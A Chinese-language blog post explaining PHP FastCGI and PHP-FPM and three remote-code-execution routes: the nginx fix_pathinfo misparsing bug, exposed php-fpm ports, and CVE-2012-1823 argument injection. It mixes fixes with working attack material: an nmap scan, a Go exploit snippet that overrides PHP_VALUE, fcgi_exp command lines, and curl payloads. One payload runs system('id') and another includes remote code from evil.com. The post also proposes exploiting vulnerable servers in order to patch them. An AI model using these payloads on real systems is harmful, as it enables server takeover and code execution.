PHP FastCGI RCE Vul
catalog
. Introduction
. nginx文件类型错误解析漏洞
. 针对直接公网开放的Fast-CGI攻击
. 通过FCGI API动态修改php.ini中的配置实现RCE
1. Introduction
我们首先来梳理一下CGI的相关概念
. CGI
CGI是为了保证web server传递过来的数据是标准格式的,从本质上来说,它是一个协议标准。web server(例如nginx)只是内容的分发者。比如
) 如果请求/index.html,那么web server会去文件系统中找到这个文件,发送给浏览器,这里分发的是静态数据
) 如果请求的是/index.php,根据配置文件,nginx知道这个不是静态文件,需要去找PHP解析器来处理,那么他会把这个请求简单处理后交给PHP解析器
问题的核心在于Nginx需要传哪些数据给PHP解析器呢,例如
) url
) 查询字符串
) POST数据
) HTTP header
..
本质上CGI就是规定要传哪些数据、以什么样的格式传递给后方处理这个请求的协议,而对应的是,只要是遵循这个协议标准实现的程序,就可以称之为CGI程序 . FastCGI
首先明确一点,FastCGI也同样是一个协议标准,FastCGI的设计目的是提高CGI程序的性能的
) 首先,Fastcgi会先启一个master,解析配置文件,初始化执行环境
) 然后再启动多个worker
) 当请求过来时,master会传递给一个worker,然后立即可以接受下一个请求。这样就避免了重复的劳动,效率提高了
) 而且当worker不够用时,master可以根据配置预先启动几个worker等着,同时如果发现空闲worker太多时,也会停掉一些,这样就提高了性能,也节约了资源
而对应的是,只要是遵循了这个协议标准实现的程序,就可以称之为FastCGI程序 . PHP-CGI / PHP-FastCGI
PHP的解释器是PHP-CGI,PHP-CGI只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理 . PHP-FPM
PHP-FPM是PHP-CGI进程的管理器,用来管理PHP-CGI进程的,PHP-FPM的管理对象是PHP-CGI
0x1: PHP-FPM
PHP-FPM的功能包括
. 支持平滑停止/启动的高级进程管理功能
. 可以工作于不同的 uid/gid/chroot 环境下,并监听不同的端口和使用不同的 php.ini 配置文件(可取代 safe_mode 的设置)
. stdout、stderr日志记录
. 在发生意外情况的时候能够重新启动并缓存被破坏的 opcode
. 文件上传优化支持
. "慢日志" - 记录脚本(不仅记录文件名,还记录 PHP backtrace 信息,可以使用 ptrace或者类似工具读取和分析远程进程的运行数据)运行所导致的异常缓慢
. fastcgi_finish_request() - 特殊功能:用于在请求完成和刷新数据后,继续在后台执行耗时的工作(录入视频转换、统计处理等)
. 动态/静态子进程产生
. 基本 SAPI 运行状态信息(类似Apache的 mod_status)
. 基于 php.ini 的配置文件
Relevant Link:
http://php.net/manual/zh/install.fpm.configuration.php
http://php.net/manual/zh/install.fpm.php
http://segmentfault.com/q/1010000000256516
2. nginx文件类型错误解析漏洞
0x1: 漏洞描述
漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。但是其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器
0x2: 漏洞分析
nginx默认以cgi的方式支持php的运行,在配置文件中如下配置
location ~ .php$
{
root html;
fastcgi_pass 127.0.0.1:;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}
配置参数简单说明如下
. location对请求进行选择的时候会使用URI环境变量进行选择
) 其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定
) 而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的
. 这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名
我们来假设一个攻击场景
. 假设存在一个URL: http://localhost/test/test.jpg
. 我们以如下的方式去访问: http://localhost/test/test.jpg/test.php
. nginx将会得到一个URI: /test.jpg/test.php
. 经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为: /scripts/test.jpg/test.php
. 后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为
) SCRIPT_FILENAME: /scripts/test.jpg
) PATH_INFO: test.php
. 最后,以/scripts/test.jpg作为此次请求需要执行的脚本,而nginx会使用php解析器来处理这个jpg文件,攻击者就可以实现让nginx以php来解析任何类型的文件了
漏洞的本质实际上就是由于fcgi和webserver对script路径级参数的理解不同出现的问题,这是典型的因为跨系统语境不同导致对同一个请求的不同解释导致的漏洞,它的攻击面是带有这种漏洞的nginx
0x3: POC
访问一个nginx支持php的站点,在一个任何资源的文件如robots.txt后面加上/test.php,这个任意资源文件就会被当作php文件得以执行
0x4: 修复方案(需重启)
. 修改php.ini配置
cgi.fix_pathinfo = . nginx配置文件中添加
if ( $fastcgi_script_name ~ ..*/.*php )
{
return ;
}
/*
考虑到MVC框架、用户自定义站点中有可能出现xxx/xx.php的情况,这个规则应该更加细粒度一点,例如*.jpg/.*php、*.txt/.*php
*/
另外,nginx可以在不需要重启的情况,hotreload配置文件
service nginx reload
//or
/etc/init.d/nginx reload
0x5: 修复方案(无需重启)
前提是目标服务器同时存在FCGI API暴露在公网的漏洞,使用hotfix的修复思想,利用FCGI本身可以RCE的特点,利用RCE修改存在漏洞的机器的FCGI漏洞
. 利用FCGI RCE漏洞修改目标服务器的nginx配置文件的配置
if ( $fastcgi_script_name ~ ..*/.*php )
{
return ;
} . 利用FCGI RCE漏洞动态修改php.ini的值
cgi.fix_pathinfo =
Relevant Link:
http://www.80sec.com/nginx-securit.html
http://php.net/manual/zh/ini.core.php
3. 针对直接公网开放的Fast-CGI攻击
除了利用nginx文件解析漏洞之外,由于fcgi和webserver是通过网络进行沟通的,因此目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容。我们以php-fpm(php的fast-cgi的实现)作为例子说明直接将fastcgi暴露在公网所带来的安全风险
0x1: 受影响范围扫描
/*
1. php-fpm默认监听的端口是9000
2. 使用sV的原因是,因为9000端口可能还存在其他服务,这里需要借用nmap的指纹识别先帮我们鉴定一下
*/
nmap -sV -p --open .xxx.xxx./
0x2: fcgi劫持POC
因为webserver为了提供fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。本来这些参数是用户不可控的,但是既然这个fcgi对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情
./fcgi_exp read .xxx.xxx. /etc/issue
/*
1. 在FASTCGI_PARAMS中,设定DOCUMENT_ROOT为"/"根目录
2. 设置SCRIPT_FILENAME为/etc/issue
3. 这样,只要我们有权限,我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取,而是用php去执行它
*/
fcgi_exp.go
..
env := make(map[string]string) env["SCRIPT_FILENAME"] = url
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1" if len(reqParams) !=
{
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input"
}
else
{
env["REQUEST_METHOD"] = "GET"
}
..
0x3: 攻击向量
. 类似于一个普通的LFI漏洞,如果你知道这台机器上的log路径,或者任何你可以控制内容的文件路径,你就可以执行任意代码了
//将LFI漏洞转化为RCE的相关知识,请参阅另一篇文章: http://www.cnblogs.com/LittleHann/p/3665062.html . 动态修改php.ini中的auto_prepend_file的值,去远程执行任意文件。将一个LFI的漏洞变成了RFI
0x4: 修复方案
. 不要把fcgi接口对公网暴露
. 对fcgi会添加身份认证机制
4. 通过FCGI API动态修改php.ini中的配置实现RCE
0x1: 攻击向量
通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
利用执行php://input,然后在POST的内容中写入我们的php代码,这样就可以直接执行了
./fcgi_exp system 127.0.0.1 /tmp/a.php "id; uname -a"
0x2: POC
. 本地包含直接执行代码:
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n . 远程包含执行代码:
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt
//-d参数: 作用是给php定义一个ini的值
0x2: 修复方案
. 不要把fcgi接口对公网暴露(重要)
. 对fcgi会添加身份认证机制
. 升级php cgi
Relevant Link:
http://zone.wooyun.org/content/1060
http://zone.wooyun.org/content/151
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
Copyright (c) 2015 LittleHann All rights reserved
PHP FastCGI RCE Vul的更多相关文章
- IT公司常见的内网漏洞表格
访问控制类漏洞与隐患 这一类漏洞与隐患属于访问控制与身份鉴别问题,一般有没有配置访问控制.访问控制弱(弱口令或者空口令),身份鉴别可以绕过等问题 漏洞协议组件 漏洞类型 漏洞评级 SSH 弱口令 严重 ...
- Warchall: Live RCE
具体漏洞是:CVE-2012-1823(PHP-CGI RCE) 在地址后面加进参数运行对应的php-cgi 参数的行为 例如 index.php?-s 相参于/usr/bin/php53-cgi/p ...
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- CGI与FastCGI nginx+PHP-FPM
本文转载自CGI与FastCGI 1.当我们在谈到cgi的时候,我们在讨论什么 最早的Web服务器简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html. ...
- IIS8 使用FastCGI配置PHP环境支持 过程详解
平时帮朋友们配置过一些PHP环境的服务器,但是一直使用的都是Apache HTTP+PHP,今天呢,我吧IIS+PHP配置方式给大家发一下下~呵呵. 在这里,我使用的是FastCGI模块映射的方式配置 ...
- FastCgi与PHP-fpm之间的关系
web server(比如说nginx)只是内容的分发者.比如,如果请求/index.html,那么web server会去文件系统中找到这个文件,发送给浏览器,这里分发的是静态数据.好了,如果现在请 ...
- CGI与FastCGI
当我们在谈到cgi的时候,我们在讨论什么 最早的Web服务器简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html.事物总是不 断发展,网站也越来越复杂, ...
- 搞不清FastCgi与PHP-fpm之间是个什么样的关系?
问 我在网上查fastcgi与php-fpm的关系,查了快一周了,基本看了个遍,真是众说纷纭,没一个权威性的定义. 网上有的说,fastcgi是一个协议,php-fpm实现了这个协议: 有的说,php ...
- FastCgi与PHP-fpm关系
1 CGI (1)什么是CGI: CGI(Common Gateway Interface)公共网关接口, 是WWW技术中最重要的技术之一,有着不可替代的重要地位, CGI是外部应用程序(CGI程序 ...
随机推荐
- Android 系统稳定性 - ANR(二)(转)
编写者:李文栋P.S. OpenOffice粘贴过来后格式有些混乱. 1.2 如何分析ANR问题 引起ANR问题的根本原因,总的来说可以归纳为两类: 应用进程自身引起的,例如: 主线程阻塞.挂起.死循 ...
- Linux shell文本过滤
正则表达式 --概念:一种用来描述文本模式的特殊语法 --由普通字符(例如:字符a到z),以及特殊字符(元字符,如/*?等)组成匹配的字符串 --文本过滤工具在某种模式之下,都支持正则表达式 --基本 ...
- WPF 绑定枚举值
前台Xaml <ComboBox x:Name=" HorizontalAlignment="Left" Margin="5 0 0 0" Se ...
- 【腾讯GAD暑期训练营游戏程序开发】游戏中的动画系统作业
游戏中的动画系统作业说明文档 一.实现一个动画状态机:至少包含3组大的状态节点
- 3到6年的.NETer应该掌握哪些知识?
我们组的开发人力一直比较紧张,今年春节后,高层终于给了几个headcount,我们可以开始招人了.从三月初我们就开始找简历,渠道有拉钩,内推,我司自己的招聘网站和智联等.简历筛了很多,也打了很多电话, ...
- WPF 异步加载高清大图
不管什么东西,但凡太大了,总是让人又爱又恨啊!(很有道理的样子,大家鼓掌└( ̄  ̄└)(┘ ̄  ̄)┘) 猿:老板,现在这社会啊,真是浮躁啊,之前还是什么1080P,然后就到了2K,现在又到了4K……他 ...
- WordPress使用固定链接
WordPress安装后我们会发现,文章默认的url是很丑的,http://example.com/?p=N,其中N是文章ID,一串数字.默认链接在所有的环境下都运转良好,但和其他的类型比起来却没那么 ...
- JavaScript中的算法之美——栈、队列、表
序 最近花了比较多的时间来学习前端的知识,在这个期间也看到了很多的优秀的文章,其中Aaron可能在这个算法方面算是我的启蒙,在此衷心感谢Aaron的付出和奉献,同时自己也会坚定的走前人这种无私奉献的分 ...
- SQLServer数据导入Mongodb
一.思路 MongoVUE免费版支持MySQL导入Mongo,所以思路是SQLServer导入MySQL,再从MySQL导入Mongo. 二.准备 1,安装mysql数据库(我用的是WAMP,集成my ...
- jQuery——$(function(){});与$(document).ready(function(){});的区别
只要在我们的jsp页面中写上 <script> $(function(){ //内容 }); </script> 则,函数中的内容就会在jsp页面被载入的时候就被执行,实际上, ...